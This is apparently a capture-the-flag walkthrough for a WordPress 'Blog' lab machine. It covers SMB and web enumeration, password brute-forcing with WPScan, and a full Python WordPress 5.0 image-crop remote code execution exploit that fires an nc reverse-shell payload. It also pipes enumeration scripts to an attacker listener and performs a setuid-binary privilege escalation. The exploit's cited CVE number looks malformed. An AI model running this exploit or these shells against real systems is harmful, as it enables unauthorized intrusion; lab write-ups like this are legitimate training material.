👨‍💻Blog

Billy Joel made a blog on his home computer and has started working on it.  It's going to be so awesome!

Enumerate this box and find the 2 flags that are hiding on it!  Billy has some weird things going on his laptop.  Can you maneuver around and get what you need?  Or will you fall down the rabbit hole...

In order to get the blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.

Enumeration

nmap -T4 -A -Pn blog.thm -vvv

PORT    STATE SERVICE     REASON  VERSION
22/tcp  open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3hfvTN6e0P9PLtkjW4dy+6vpFSh1PwKRZrML7ArPzhx1yVxBP7kxeIt3lX/qJWpxyhlsQwoLx8KDYdpOZlX5Br1PskO6H66P+AwPMYwooSq24qC/Gxg4NX9MsH/lzoKnrgLDUaAqGS5ugLw6biXITEVbxrjBNdvrT1uFR9sq+Yuc1JbkF8dxMF51tiQF35g0Nqo+UhjmJJg73S/VI9oQtYzd2GnQC8uQxE8Vf4lZpo6ZkvTDQ7om3t/cvsnNCgwX28/TRcJ53unRPmos13iwIcuvtfKlrP5qIY75YvU4U9nmy3+tjqfB1e5CESMxKjKesH0IJTRhEjAyxjQ1HUINP
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJtovk1nbfTPnc/1GUqCcdh8XLsFpDxKYJd96BdYGPjEEdZGPKXv5uHnseNe1SzvLZBoYz7KNpPVQ8uShudDnOI=
|   256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICfVpt7khg8YIghnTYjU1VgqdsCRVz7f1Mi4o4Z45df8
80/tcp  open  http        syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: -1s
| nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   BLOG<00>             Flags: <unique><active>
|   BLOG<03>             Flags: <unique><active>
|   BLOG<20>             Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2023-02-03T17:13:18+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-03T17:13:18
|_  start_date: N/A

SMB

smbclient -L //blog.thm/

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	BillySMB        Disk      Billy\'s local SMB Share
	IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

smbclient //blog.thm/BillySMB
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 26 19:17:05 2020
  ..                                  D        0  Tue May 26 18:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 19:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 19:13:45 2020
  check-this.png                      N     3082  Tue May 26 19:13:43 2020

		15413192 blocks of size 1024. 9788692 blocks available
smb: \> get Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
smb: \> get check-this.png
getting file \check-this.png of size 3082 as check-this.png (1.9 KiloBytes/sec) (average 9.9 KiloBytes/sec)
smb: \> get tswift.mp4
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (228.3 KiloBytes/sec) (average 139.7 KiloBytes/sec)
smb: \> exit

Website

Users

Hovering over the author names we can get their usernames which can potentially be used to bruteforce into the website.

kwheel
bjoel

WPScan

wpscan --url http://blog.thm/ --usernames 'kwheel' -P /usr/share/wordlists/rockyou.txt

[SUCCESS] - khweel / ███████

We managed to get into wp-admin by bruteforcing the login. Let's see what we can do from here

Exploitation

Getting a Shell

Searching for Wordpress 5.0 Exploits gives us this tool which we can try

# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
# Date: 2020-02-01
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)
# Discovery Author : RIPSTECH Technology
# Version: WordPress 5.0.0 and <= 4.9.8 .
# References : CVE-2019-89242 | CVE-2019-89242  | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/

#/usr/bin/env python3

import requests
import re
import sys
from datetime import datetime

banner = """

__        __            _                           ____   ____ _____ 
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  |  _ \ / ___| ____|
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | |   |  _|  
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ |  _ <| |___| |___ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ |_| \_\\____|_____|
                         |_|                                        
                         			5.0.0 and <= 4.9.8
"""
print(banner)
print("usage :")
print("=======")
usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
print(usage)

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
wp_theme = sys.argv[4] # wpscan results

lhost = '10.10.10.10' #attacker ip
lport = '4141' #listening port

date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'

imagename = 'gd.jpg'
# ======
# Note :
# ======
# It could be any jpg image, BUT there are some modifications first : 
# 1- image name as : "gd.jpg"
# 2- place the image in the same directory as this exploit.
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"

data = {
	'log':username,
	'pwd':password,
	'wp-submit':'Log In',
	'redirect_to':url+'wp-admin/',
	'testcookie':1
}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:
	print("[+] Login successful.\n")
else:
	print("[-] Failed to login.")
	exit(0)

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
	print("[-] Failed to retrieve the _wpnonce \n")
	exit(0)
else :
	wp_nonce = wp_nonce_list[0]
	print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")

print("[+] Uploading the image ... ")

data = {
	'name': 'gd.jpg',
	'action': 'upload-attachment',
	'_wpnonce': wp_nonce
}

image = {'async-upload': (imagename, open(imagename, 'rb'))}
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
if r_upload.status_code == 200:
	image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
	_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
	print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")
else : 
	print("[-] Failed to receive a response for uploaded image ! try again . \n")
	exit(0)

print("[+] Changing the path ... ")


data = {
	'_wpnonce':_wp_nonce,
	'action':'editpost',
	'post_ID':image_id,
	'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
}

res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] Path has been changed successfully. \n")
else :
	print("[-] Failed to change the path ! Make sure the theme is correcte .\n")
	exit(0)

print("[+] Getting Ajax nonce ... ")

data = {
	'action':'query-attachments',
	'post_id':0,
	'query[item]':43,
	'query[orderby]':'date',
	'query[order]':'DESC',
	'query[posts_per_page]':40,
	'query[paged]':1
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)

if res.status_code == 200 and len(ajax_nonce_list) != 0 :
	ajax_nonce = ajax_nonce_list[0]
	print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
else :
	print("[-] Failed to retrieve ajax_nonce.\n")
	exit(0)


print("[+] Cropping the uploaded image ... ")

data = {
	'action':'crop-image',
	'_ajax_nonce':ajax_nonce,
	'id':image_id,
	'cropDetails[x1]':0,
	'cropDetails[y1]':0,
	'cropDetails[width]':200,
	'cropDetails[height]':100,
	'cropDetails[dst_width]':200,
	'cropDetails[dst_height]':100
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] Done . \n")
else :
	print("[-] Erorr ! Try again \n")
	exit(0)

print("[+] Creating a new post to include the image... ")

res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
if res.status_code == 200:
	_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]
	post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]
	print("[+] Post created successfully . \n")
else :
	print("[-] Erorr ! Try again \n")
	exit(0)

data={
	'_wpnonce':_wpnonce,
	'action':'editpost',
	'post_ID':post_id,
	'post_title':'RCE poc by v0lck3r',
	'post_name':'RCE poc by v0lck3r',
	'meta_input[_wp_page_template]':'cropped-rahali.jpg'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
	print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')
	print("[+] Executing payload !")
	requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)

else :
	print("[-] Error ! Try again (maybe change the payload) \n")
	exit(0)

python3 exploit.py http://blog.thm:80/ kwheel <PASSWORD> twentytwenty

We first have to make a jpg and inject it with a payload:

curl https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTePwCC0g8ZGjII2IWJNvb9XtEyxXW6lLRW50api4SI&s --output gd.jpg

exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"

# Dont forget to change the IP and Port from the POC to point to your machine.
nc -lvnp 4141
python3 exploit.py http://blog.thm/ kwheel <PASSWORD> twentytwenty


__        __            _                           ____   ____ _____ 
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  |  _ \ / ___| ____|
 \ \ /\ / / _ \| '__/ _` | '_ \| ''__/ _ \/ __/ __| | |_) | |   |  _|  
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ |  _ <| |___| |___ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ |_| \_\____|_____|
                         |_|                                        
                         			5.0.0 and <= 4.9.8

usage :
=======
python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>
[+] Login successful.

[+] Getting Wp Nonce ... 
[+] Wp Nonce retrieved successfully ! _wpnonce : 826668b4dc

[+] Uploading the image ... 
[+] Image uploaded successfully ! Image ID :38

[+] Changing the path ... 
[+] Path has been changed successfully. 

[+] Getting Ajax nonce ... 
[+] Ajax Nonce retrieved successfully ! ajax_nonce : 80738d1e9d

[+] Cropping the uploaded image ... 
[+] Done . 

[+] Creatng a new post to include the image... 
[+] Post created successfully . 

[+] POC is ready at : http://blog.thm:80/?p=42&0=id

[+] Executing payload !

If this does not work for you then use metasploit

msf6 exploit(multi/http/wp_crop_rce) > options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   PASSWORD         yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.145.223    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST      blog.thm         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.2.5.193       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress
# Searching the /var/wordpress directory
ls 

VAxzgJRLgC.php
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php

$> cat wp-config.php

<..SNIP..>
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'blog');

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', '<BJOELPASSWORD>');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/** Custom FS Method */
define('FS_METHOD', 'direct');
<..SNIP..>

We have credentials to go to the bjoel wordpress account now:

bjoel:BJOELPASSWORD

Elevating Permissions

Let us start by running linpeas to enumerate possible privesc paths:

python3 -m http.server 8080
nc -lvnp 4444 | tee linpeas.log # Starts a listener then outputs the results to a file

# Victim:
curl $IP:8080/linpeas.sh | sh | nc $IP 4444
# Replace $IP with your IP Address

Findings

                                     ╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════
                                     ╚═══════╝
═╣ Google Cloud Platform? ............... No
═╣ AWS ECS? ............................. No
═╣ AWS EC2? ............................. Yes
═╣ AWS Lambda? .......................... No

╔══════════╣ AWS EC2 Enumeration
ami-id: ami-08a5de7340156b07d
instance-action: none
instance-id: i-0666034230f46a9f1
instance-life-cycle: on-demand
instance-type: t2.micro
region: eu-west-1

Couldn't find more with linpeas so I'll switch to Linux Smart Enumeration

# Attacker
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
## Tab 1
python3 -m http.server 8080
## Tab 2
nc -lvnp 4444 | tee lse.log

# Victim
curl $IP:8080/lse.sh | bash | nc $IP 4444

####

============================================================( file system )=====
[*] fst000 Writable files outside user\'s home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---

/usr/sbin/checker

Let's look up checker on GTFOBins - Nothing... Let's download it instead and examine it further:

file checker
checker: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped

./checker 
Not an Admin

Examining the file under Radare shows this:

Basically:

If user is admin -> /bin/bash
else -> Not an Admin -> Exit

Admin is not an actual linux environment variable, we can exploit this by adding our own variable by doing export admin=admin

We can see that no errors are generated this time. Let's try this on machine:

pwd
	/usr/sbin
./checker
	Not an Admin
export admin=admin
./checker
whoami
	root

There's our privesc :)

As for the user flag - we can see from the termination letter that he uses USBs (naughty)

Let's check /media/usb

cd /media
ls
usb
cd usb
ls
user.txt

There we go!

Note: You'll probably find the Root flag before User, don't panic if you dont manage to find the user after foothold cause the USB has Root only permissions

Last updated